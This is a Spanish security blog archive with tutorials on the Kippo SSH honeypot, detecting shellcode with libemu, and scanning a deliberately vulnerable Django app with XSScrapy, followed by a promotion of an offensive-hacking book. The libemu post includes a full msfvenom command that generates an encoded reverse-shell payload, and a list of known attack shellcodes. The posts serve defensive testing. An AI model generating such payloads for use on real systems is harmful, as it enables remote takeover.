Archive

Archive for the ‘Programacion’ Category

HoneyPots Parte 1 – Kippo

marzo 24, 2015 Deja un comentario

Este será el primer articulo de una serie en la que se hablará sobre algunos de los honeypots más utilizados para la detección y prevención de ataques. Antes de continuar y para los que no lo saben, un Honeypot en informática es un servicio activo que acepta y procesa peticiones como cualquier servidor del tipo SSH, HTTP, SMB, etc. Pero en realidad se encarga de monitorizar y registrar los intentos fallidos de autenticación y cualquier ataque contra el supuesto servicio, se trata de un señuelo. Es una forma de engañar a un atacante haciéndole creer que se encuentra perfilando y analizando un servicio del objetivo, cuando en realidad lo que está haciendo es suministrándole información al objetivo sobre las actividades que está realizando.
Uno de los más conocidos y utilizados es Kippo, un honeypot que se encarga de levantar un servicio SSH en el puerto indicado y registrar todos los intentos de autenticación realizados contra dicho servicio. Kippo es un honeypot altamente personalizable y es posible utilizarlo para localizar a un atacante e incluso, para que pueda iniciar sesión en el supuesto sistema y permitirle interactuar con un sistema de ficheros ficticio, el cual también es configurable.

A continuación se explica como instalar y configurar Kippo en un sistema Linux.

Instalación y configuración de Kippo.

Kippo es un sistema que ha sido desarrollado utilizando Python y Twisted, una potente librería de la que ya he hablado en alguna ocasión. Una de las ventajas de Kippo, es que se puede lanzar de forma programática desde un script en Python gracias a las funciones definidas en el modulo “twistd” de Twisted, esto significa que puedes crear tus propios scripts en Python y arrancar Kippo en cualquier momento.

Para instalar Kippo, se debe tener Python instalado y algunas librerías en el entorno, tales como Twisted, PyCrypto y service_identity Zope. Una vez cumplidas dichas dependencias, se puede descargar el proyecto desde su repositorio en GitHub.

>git clone https://github.com/desaster/kippo.git

>ls -F

data/ doc/ honeyfs/ kippo.cfg.dist log/ start.sh* txtcmds/

dl/ fs.pickle kippo/ kippo.tac README.md stop.sh utils/

 

Lo primero que se puede apreciar en el directorio descargado, es que existen dos ficheros ejecutables que son “start.sh” y “stop.sh”, evidentemente son utilizados para iniciar y detener Kippo, pero antes de iniciar el Honeypot, se deben conocer las propiedades de configuración que permitirán personalizar el servicio y que sea más difícil para un atacante determinar que se trata de un honeypot. El script “start.sh” buscará el fichero de configuración “kippo.cfg” en el directorio desde donde se ejecuta y como se puede apreciar en el listado de contenidos del directorio, dicho fichero no existe, pero si que se puede ver el fichero “kippo.cfg.dist”, el cual se puede renombrar a “kippo.cfg”. El fichero “kippo.cfg.dist” contiene las propiedades que pueden ser útiles para iniciar el servicio con por la configuración defecto. Algunas de dichas propiedades (las más interesantes) se explican a continuación.

ssh_addr: Interfaz de red en la que iniciará el honeypot. El valor por defecto es “0.0.0.0”

ssh_port: Puerto en el que iniciará el honeypot. El valor por defecto es “2222”

hostname: Será cadena que verá un atacante cuando consiga una shell en el honeypot. Evidentemente, es una buena recomendación poner un nombre que parezca pertenecer a un servidor real en el objetivo.

download_path: Directorio en el que se guardaran todos los ficheros que intente descargar el atacante en el servidor.

filesystem_file: Probablemente es una de las propiedades más interesantes a la hora de engañar a un atacante haciéndole creer que se encuentra en un sistema legitimo, ya que esta propiedad se encarga de definir un sistema de ficheros completo, con sus correspondientes ficheros, permisos y demás. Este fichero se debe encontrar en formato de objetos serializados en Python (Pickle). Se puede utilizar el script “utils/createfd.py” para crear dicho sistema de ficheros partiendo de un sistema elegido por el usuario.

data_path: En el directorio indicado en esta propiedad se debe ubicar el fichero “usersdb.txt” en el se definirá por cada línea, el usuario y sus credenciales de acceso al supuesto honeypot. Evidentemente, se recomienda indicar una contraseña que sea fácilmente predecible para que el atacante pueda entrar y contar con más tiempo para saber de quien se trata.

txtcmds_path: En el directorio indicado en esta propiedad se deben definir los programas y utilidades que podrá ejecutar el atacante una vez se encuentre dentro del honeypot.

ssh_version_string: Será el banner que devolverá el servicio cuando se realicen peticiones sobre el puerto definido en la propiedad “ssh_port”

interact_enabled: Kippo permite controlar las sesiones que el atacante tenga iniciadas contra el honeypot en un servicio independiente de monitoreo. Por defecto dicha propiedad se encuentra desactivada, pero es muy útil para ver en tiempo real lo que está haciendo el atacante en el honeypot.

interact_port: Puerto en el que se iniciará el servicio de monitoreo. Solamente tiene sentido indicar un valor en esta propiedad si “interact_enabled” tiene el valor “true”.
Existen otras propiedades en Kippo que también pueden ser interesantes para el lector, por ese motivo se recomienda leer la documentación para hacerse una idea de cuáles son dichas propiedades.

Una buena practica para captar la mayor cantidad de atacantes, consiste en el definir el honeypot un puerto que no requiera privilegios de root para ser utilizado, como por ejemplo el “2222” y redireccionar todas peticiones entrantes por el puerto “22” al puerto donde está corriendo el honeypot. Esto puede hacerse muy fácilmente utilizando una regla de iptables como la siguiente.

iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222

Ahora bien, si se cuenta con un servicio SSH productivo, se recomienda levantarlo en un puerto distinto al “22”.

El siguiente fichero de configuración puede ser utilizado para arrancar Kippo con algunos valores de configuración personalizados.

[honeypot]

ssh_port = 2222

hostname = PROServer

log_path = log

download_path = dl

contents_path = honeyfs

filesystem_file = fs.pickle

data_path = data

txtcmds_path = txtcmds

rsa_public_key = data/ssh_host_rsa_key.pub

rsa_private_key = data/ssh_host_rsa_key

dsa_public_key = data/ssh_host_dsa_key.pub

dsa_private_key = data/ssh_host_dsa_key

exec_enabled = true

fake_addr = 172.28.78.10

ssh_version_string = SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2

interact_enabled = true

interact_port = 5000

 

El fichero anterior debe ubicarse en el directorio de Kippo con el nombre “kippo.cfg”. Ahora es el momento de lanzar el script “start.sh” para iniciar el honeypot.

>./start.sh

twistd (the Twisted daemon) 14.0.0

Copyright (c) 2001-2014 Twisted Matrix Laboratories.

See LICENSE for details.

Starting kippo in the background…

EL servicio quedará abierto en el puerto “2222” y además, es posible ver los logs que ha generado Kippo en el proceso de arranque.

>cat log/kippo.log

2015-01-25 23:57:37+0100 [-] Log opened.

2015-01-25 23:57:37+0100 [-] twistd 14.0.0 (/usr/bin/python 2.7.6) starting up.

2015-01-25 23:57:37+0100 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-01-25 23:57:37+0100 [-] HoneyPotSSHFactory starting on 2222

2015-01-25 23:57:37+0100 [-] Starting factory <kippo.core.ssh.HoneyPotSSHFactory instance at 0x7fa27d2b67e8>

2015-01-25 23:57:37+0100 [-] Factory starting on 5000

2015-01-25 23:57:37+0100 [-] Starting factory <twisted.internet.protocol.Factory instance at 0x7fa27c03cd40>

>nc localhost 2222

SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2

>

 

Como se puede ver, el banner devuelto por el servicio es el mismo que se ha definido en la propiedad “ssh_version_string”. Por otro lado, también se ha abierto el puerto “5000” para monitorizar el servicio. En dicho puerto se podrá acceder a una consola de administración básica que permitirá listar las sesiones activas, visualizar en tiempo real lo que el atacante está digitando en la consola del honeypot e incluso, interactuar con dicha sesión y escribir en la misma consola que el atacante está utilizando, algo que evidentemente despertaría sus sospechas.

>telnet -e q 127.0.0.1 5000

Telnet escape character is ‘q’.

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘q’.

*** kippo session management console ***

List of commands:

list – list all active sessions

view – attach to a session in read-only mode

hijack – attach to a session in interactive mode

disconnect – disconnect a session

help – this help

exit – disconnect the console

 

En el fichero “log/kippo.log” se podrán ver las trazas de cada uno de los intentos de conexión que se han realizado contra el honeypot.

2015-01-26 00:06:42+0100 [kippo.core.ssh.HoneyPotSSHFactory] New connection: 127.0.0.1:43249 (127.0.0.1:2222) [session: 2]

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] Remote SSH version: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] outgoing: aes128-ctr hmac-md5 none

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] incoming: aes128-ctr hmac-md5 none

2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] NEW KEYS

2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] starting service ssh-userauth

2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth none

2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth keyboard-interactive

2015-01-26 00:06:51+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/123456] failed
2015-01-26 00:07:01+0100 [-] adastra failed auth password

2015-01-26 00:07:01+0100 [-] unauthorized login:

2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password

2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/asadas] failed

2015-01-26 00:07:04+0100 [-] adastra failed auth password

2015-01-26 00:07:04+0100 [-] unauthorized login:

2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password

2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/wwqwq] failed

Si el atacante consigue acceso, podrá ver una consola en el supuesto servicio y podrá interactuar con ella, limitado únicamente por los comandos que se han definido en la propiedad “txtcmds_path” del fichero de configuración utilizado para arrancar Kippo.

>ssh -p2222 localhost -l root

Password:

root@PROServer:~# ls

root@PROServer:~# pwd

/root

root@PROServer:~# whoami

root

root@PROServer:~# id

uid=0(root) gid=0(root) groups=0(root)

root@PROServer:~# uname -a

Linux PROServer 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux

 

Desde la consola de administración, se puede ver la nueva sesión creada en el honeypot y se puede interactuar con ella.

>telnet -e q 127.0.0.1 5000

Telnet escape character is ‘q’.

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘q’.

*** kippo session management console ***

List of commands:

list – list all active sessions

view – attach to a session in read-only mode

hijack – attach to a session in interactive mode

disconnect – disconnect a session

help – this help

exit – disconnect the console

list

ID clientIP clientVersion

3 127.0.0.1 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

view 3

** Attaching to #3, hit ESC to return

ls

root@PROServer:~# pwd

/root

root@PROServer:~# whoami

root

root@PROServer:~# id

uid=0(root) gid=0(root) groups=0(root)

root@PROServer:~#

** Interactive session closed.

hijack 3

** Attaching to #3, hit ESC to return

Te he pillado…

bash: Te: command not found

root@PROServer:~# whoami

root

disconnect 3

** Disconnecting session #3

exit

Connection closed by foreign host.

 

El comando “list” ha permitido visualizar las sesiones iniciadas en el honeypot y con los comandos “view” y “hijack” se puede interactuar con una de dichas sesiones, el primero solamente permite ver lo que el atacante escribe en la consola del honeypot, mientras que el segundo permite interactuar directamente con dicha sesión y enviar comandos/mensajes al atacante. Finalmente el comando “disconnect” interrumpe una sesión activa, cortando la conexión entre el atacante y el honeypot.

Más sobre Honeypots en un próximo articulo.

Saludos y Happy Hack!

Adastra.

Detección de malware con libemu

marzo 17, 2015 1 comentario

Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.

Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.

“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”

Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.

“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.

Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.

>git clone git://git.carnivore.it/libemu.git>autoreconf -v -i

>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror

>make

Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.

Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.

Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.

Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.

./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 98 (iteration=0)

Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.

El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.

En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”

./sctest –help -a PATH use this argos csi files as input

–argos-csi= PATH

-b IP:PORT bind this ip:port

–bind=IP:PORT

-c IP:PORT redirect connects to this ip:port

–connect=IP:PORT

-C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””)

–cmd= CMD

-d INTEGER dump the shellcode (binary) to stdout

–dump=INTEGER

-g run getpc mode, try to detect a shellcode

–getpc

-G FILEPATH save a dot formatted callgraph in filepath

–graph=FILEPATH

-h show this help

–help

-i proxy api calls to the host operating system

–interactive

-l list all tests

–listtests

-o [INT|HEX] manual offset for shellcode, accepts int and hexvalues

–offset=[INT|HEX]

-p PATH write shellcode profile to this file

–profile= PATH

-S read shellcode/buffer from stdin, works with -g

–stdin

-s INTEGER max number of steps to run

–steps=INTEGER

-t INTEGER the test to run

–testnumber=INTEGER

-v be verbose, can be used multiple times, f.e. -vv

–verbose

Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.

>./sctest -l
0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com

2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com

3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com

5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com

6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com

7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com

8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com

9 ) some old dcom shellcode

10) brihgtstor discovery

11) amberg

12) lindau – linkbot connectback version

13) bremen – linkbot bind version

14) halle – filetransferr via csend

15) tills neuer

16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123

17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123)

18) the hackers choice realplayer 8 exploit

19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com

20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true

21) till sein lsass dump

22) bindshell::schoenborn

23) sqlslammer

24) linux bindshell

25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39

26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11

27) libemu dos

28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com

29) crash in loadlibrary

30) crash in fwrite

31) crash in lwrite/hwrite

32) crash in malloc

33) crash in send

34) crash in execve

Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.

A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.

>./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1

success offset = 0x00000000

int socket(int domain=2, int type=1, int protocol=0);

connect

stepcount 106

int socket (

int domain = 2;

int type = 1;

int protocol = 0;

) = 14;

int connect (

int sockfd = 14;

struct sockaddr_in * serv_addr = 0x00416fc2 =>

struct = {

short sin_family = 2;

unsigned short sin_port = 23569 (port=4444);

struct in_addr sin_addr = {

unsigned long s_addr = -201217856 (host=192.168.1.244);

};

char sin_zero = ” “;

};

int addrlen = 102;

) = 0;

Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.

Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.

>./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin

El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.

>sudo apt-get install graphviz

El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.

payloadGraph

Flujo de invocaciones del programa

Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.

Un saludo y Happy Hack!
Adastra.

XSScrapy para procesos de crawling e identificación de vulnerabilidades

marzo 12, 2015 Deja un comentario

Scrapy es un framework que cuenta con varias utilidades para crear spiders y crawlers, se ha vuelto bastante popular y en cada nueva versión es mucho más estable y robusto. Hace algún tiempo comentaba en un vídeo de la serie de Hacking con Python los elementos que a mi parecer eran los más interesantes de Scrapy y cómo se puede utilizar desde cualquier script en Python. Dado que este tipo de actividades casi siempre suelen ir de la mano con procesos de minería y extracción de datos, a lo mejor no resulta tan llamativo para un pentester/hacker (o si), pero cuando hablamos de ejecutar un proceso de crawling no solo para extraer información, sino para detectar vulnerabilidades en aplicaciones web, seguro que más de uno comienza a ver que se pueden hacer cosas muy interesantes.
Si has visto como funciona un spider y la cantidad de elementos involucrados en un proceso de crawling, casi seguro que alguna vez te habrás preguntado ¿Y cómo puedo utilizar esto para ejecutar tareas de pentesting? Creo que es una pregunta bastante lógica, ya que además de visitar enlaces y analizar la estructura de un sitio web, también estás jugando con cabeceras HTTP, parámetros en el cuerpo de la petición o directamente en la URL, formularios, diferentes tipos de “content-types” y un largo etc. Son muchas las posibilidades que tienes a tu disposición.
Ahora bien, imaginar por un segundo que esto lo aplicamos no solamente a aplicaciones web en Internet, sino también a servicios ocultos del tipo HTTP en la red de TOR. A mi personalmente me ha parecido una idea de lo más interesante y ahora mismo me encuentro desarrollándola para la próxima versión Tortazo, algo de lo que pienso hablaros en un próximo articulo.

Si quieres utilizar Scrapy directamente y realizar pruebas de pentesting contra todos los enlaces encontrados y procesados por un Spider, no hay demasiados impedimentos para hacerlo, sin embargo existe una herramienta que ya lo hace por ti, dicha herramienta es XSScrapy.

  1. Instalación y uso de XSScrapy

XSScrapy es una aplicación fácil de instalar y de usar, como ya os imaginaréis se basa en Scrapy y permite encontrar vulnerabilidades del estilo XSS (tanto reflejado como almacenado) y también vulnerabilidades del tipo SQLi. El proyecto se encuentra alojado en el siguiente repositorio de GitHub https://github.com/DanMcInerney/xsscrapy y para instalarlo basta con utilizar el comando “pip” junto con el fichero de dependencias.

>git clone https://github.com/DanMcInerney/xsscrapy.git && cd xsscrapy

>pip install -r requirements.txt

A continuación se puede comenzar a probar la aplicación, que sobresale por su simplicidad.

>./xsscrapy.py -h

usage: xsscrapy.py [-h] [-u URL] [-l LOGIN] [-p PASSWORD] [-c CONNECTIONS]

[-r RATELIMIT] [–basic]

optional arguments:

-h, –help show this help message and exit

-u URL, –url URL URL to scan; -u http://example.com

-l LOGIN, –login LOGIN

Login name; -l danmcinerney

-p PASSWORD, –password PASSWORD

Password; -p pa$$w0rd

-c CONNECTIONS, –connections CONNECTIONS

Set the max number of simultaneous connections

allowed, default=30

-r RATELIMIT, –ratelimit RATELIMIT

Rate in requests per minute, default=0

–basic Use HTTP Basic Auth to login

Evidentemente la opción que resulta más interesante es en la que se puede definir la URL (-u/–url) del objetivo y a partir de allí, comenzar a ejecutar el procesamiento de enlaces y peticiones/respuestas HTTP. Otra opción interesante es la que permite establecer el número de conexiones simultaneas máximo contra el sitio web en cuestión (-c/–connections) algo que resulta muy practico para evitar que un WAF detecte el ataque y bloquee las peticiones desde la IP donde se realizan. Además, en el caso de que el sitio web requiera autenticación (digest o basic) es posible indicar un usuario y una contraseña con los interruptores -l y -p.
Ahora que tenemos una imagen general del funcionamiento del programa, podemos comenzar a utilizarlo con una aplicación web vulnerable. Existen aplicaciones web para realizar pruebas de penetración de todos los gustos y colores, algunas de ellas ya las he mencionado y explicado en varias ocasiones en este sitio, tales como DOJO InsecureWebApp, Hacme Casino, DVWA (Damn Vulnerable Web Application), WebGoat, etc. En esta ocasión vamos a utilizar Django-Moth, una aplicación web vulnerable escrita en Django que puedes descargar libremente desde aquí: https://github.com/andresriancho/django-moth pero si lo prefieres puedes utilizar cualquier otra, a efectos prácticos da un poco igual.

Después de descargar el proyecto del repositorio GitHub, se puede iniciar la aplicación Django de la siguiente forma:

>python manage runserver 8080

Performing system checks…

System check identified no issues (0 silenced).

February 18, 2015 – 17:05:08

Django version 1.7.1, using settings ‘djmoth.settings’

Starting development server at http://127.0.0.1:8080/

Quit the server with CONTROL-C.

El puerto por defecto es el 8000, pero como se puede apreciar se puede cambiar por cualquier otro. Recordar que se trata de una aplicación web con vulnerabilidades fáciles de explotar, evitar utilizarla en Internet y mucho menos, utilizar un puerto como el 80 que requiere privilegios de root.

Todas las vulnerabilidades de Django Moth se encuentran separadas por secciones, pero aun así, el crawler de XSScrapy, a la fecha de redactar este articulo, no permite establecer reglas para indicar en qué momento debe detenerse el ataque y cuales son los enlaces que se permite visitar. Tal falta de control es un problema a la larga, ya que muchas páginas tienen enlaces a otros dominios y es fácil que el proceso recursivo termine llevando al crawler a sitios que no deberían analizarse, así que hay que estar atentos a las trazas que arroja el programa en todo momento. Ahora se puede ejecutar algo como lo siguiente:

./xsscrapy.py -u http://localhost:8080/audit/os_commanding/blind_osc.py?cmd=ls

Se podrán ver varias trazas y los elementos que la herramienta va analizando en cada iteración. En el caso de interrumpir el proceso manualmente o que termine debido a que ya se han recorrido todos los enlaces, se genera automáticamente un fichero con nombre: “xsscrapy-vulns.txt” el cual contiene todos los resultados encontrados. Incluye cosas como las vulnerabilidades encontradas, puntos de inyección, parámetros utilizados, la petición y respuesta del servidor, etc.

Una herramienta interesante con mucho potencial y aunque a mi juicio se puede explotar mucho más el framework de Scrapy, puede resultar muy instructiva para aprender detalles avanzados del framework, eso si, solamente si estas dispuesto a ver el código y entender cómo funciona, algo que desde luego te recomendaría ya que tiene detalles técnicos muy valiosos y que te ayudarán a aprender ciertos “trucos” a la hora de crear tus propias herramientas.

Un saludo y Happy Hack!
Adastra.

Hoy vengo a hablar de mi libro: Hacking con Python

febrero 24, 2015 3 comentarios

Antes de hablar de mi nuevo libro, quiero agradecer a todos los que habéis confiado en mi trabajo y habéis comprado el libro de “Python para Pentesters”. Espero que cubra vuestras expectativas y que sea un buen aporte para vuestra vida profesional y/o académica.
Por otro lado, tengo el gran placer de informaros que ya se encuentra disponible el libro de “Hacking con Python” que pretende dar continuidad al libro de “Python para Pentesters” desde una perspectiva completamente ofensiva.
En esta ocasión he intentado salirme un poco de las pruebas convencionales que aplica un pentester profesional cuando utiliza un lenguaje como Python y me he enfocado en escribir sobre aquellas cosas que definitivamente se encuentran más cercanas al “cibercrimen” y cómo un atacante utiliza Python para crear herramientas que pueden ser muy dañinas o en algunos casos, extremadamente divertidas desde el más profundo sentido BOFH (los que seguís las aventuras del genial Wardog sabéis perfectamente a lo que me refiero y también os recuerdo que podéis comprar su libro en el sitio de 0xWORD).

En el libro de “Python para Pentesters” habéis podido ver varias herramientas y librerías que son de uso común en auditorías de pentesting y hacking ético, se trata de un conocimiento vital para aprender a desarrollar herramientas plenamente funcionales con pocas líneas de código y con relativamente poco esfuerzo, algo que desde luego le viene muy bien a cualquiera, sin embargo, lo mismo aplica para un atacante en Internet desde una perspectiva y con motivaciones completamente opuestas. En este sentido, no solamente cambia el enfoque, sino también las técnicas, librerías y herramientas a utilizar y es de esto de lo que trata el nuevo libro.

Para que os hagáis una idea, algunas de las cosas que a mi juicio son las más interesantes las listo a continuación.

– Uso de redes virtuales privadas y trafico por ICMP para evasión de firewalls.

– Fuzzing y explotación de software.

– Ofuscación de shellcodes y evasión de antivirus.

– Arquitectura de redes anónimas como I2P y TOR.

– Acceso programático a redes anónimas tales como I2P y TOR.

– Cibercrimen y anonimato.

– Anatomía de campañas APT.

– Análisis de maleware con Python.

– Inyección de código en procesos y librerías del sistema.

– Desarrollo de keyloggers multiplataforma con Python.

– Desarrollo de screen scrapers multiplataforma con Python.

– Desarrollo de webcam scrapers multiplataforma con Python.

– Desarrollo de RATs con Python.

– Y …. cómo utilizar Django/GeoDjango para geolocalizar los repetidores de TOR y visualizar gráficamente una botnet.

Son solamente algunas de las cosas que verás en el libro y como puedes apreciar, los contenidos son mucho más avanzados y específicos que los que se encuentran incluidos en el libro de “Python para Pentesters” y la serie de vídeos sobre Hacking con Python que he grabado hace algunos meses.

Los que seguís este blog y conocéis mi trabajo, sabéis que los artículos que redacto en este espacio son producto de mi pasión por la informática e intento imprimir un poco de ese interés en cada post que redacto, siempre sigo una rutina diaria de estudio e investigación, lo que al final me ha supuesto incontables días con sus correspondientes noches en los que me he pasado leyendo, probando, programando, aprendiendo, reaprendiendo, dándome contra muros y descubriendo. Esa es una de las cosas que me hacen feliz y por eso lo hago. Con este blog, los libros que he escrito y los que me encuentro escribiendo sigo la misma filosofía, no busco fama ni gloria, no quiero simplemente publicar código, lo que busco es transmitir un mensaje, demostrar que el esfuerzo, la dedicación y la disciplina son las claves para ser un buen informático y que si no tienes esos valores completamente asimilados, lo mejor es que te dediques a otra cosa. Para mi ese es “el camino del hacker”, no es simplemente un oficio con el que pagas tus facturas al final de cada mes, para muchos es una forma de vida en si misma.
